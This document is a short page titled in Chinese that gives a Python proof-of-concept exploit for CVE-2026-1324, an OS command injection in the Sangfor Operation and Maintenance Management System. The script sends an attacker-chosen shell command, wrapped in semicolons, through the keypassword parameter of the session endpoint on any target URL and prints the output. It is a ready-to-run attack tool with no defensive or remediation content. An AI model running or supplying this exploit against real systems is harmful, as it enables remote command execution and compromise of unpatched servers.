CVE-2026-1324: Sangfor运维管理系统SessionController keypassword参数OS命令注入漏洞

import requests import sys # CVE-2026-1324 PoC - Sangfor O&M Management System OS Command Injection # Target: Sangfor Operation and Maintenance Management System <= 3.0.12 # Component: SessionController in /isomp-protocol/protocol/session # Parameter: keypassword def exploit(target_url, cmd='whoami'): """ Exploit OS command injection in Sangfor O&M Management System Args: target_url: Base URL of the target system cmd: Command to execute on the target system Returns: Response content from the vulnerable endpoint """ endpoint = f"{target_url}/isomp-protocol/protocol/session" # Inject OS command through keypassword parameter # Using semicolon to chain commands payload = f";{cmd};" data = { 'keypassword': payload } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-1324.py <target_url> [command]") print("Example: python cve-2026-1324.py http://target.com whoami") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else 'whoami' print(f"[*] Exploiting CVE-2026-1324 on {target}") print(f"[*] Executing command: {command}") result = exploit(target, command) print(f"[+] Result:\n{result}") if __name__ == '__main__': main()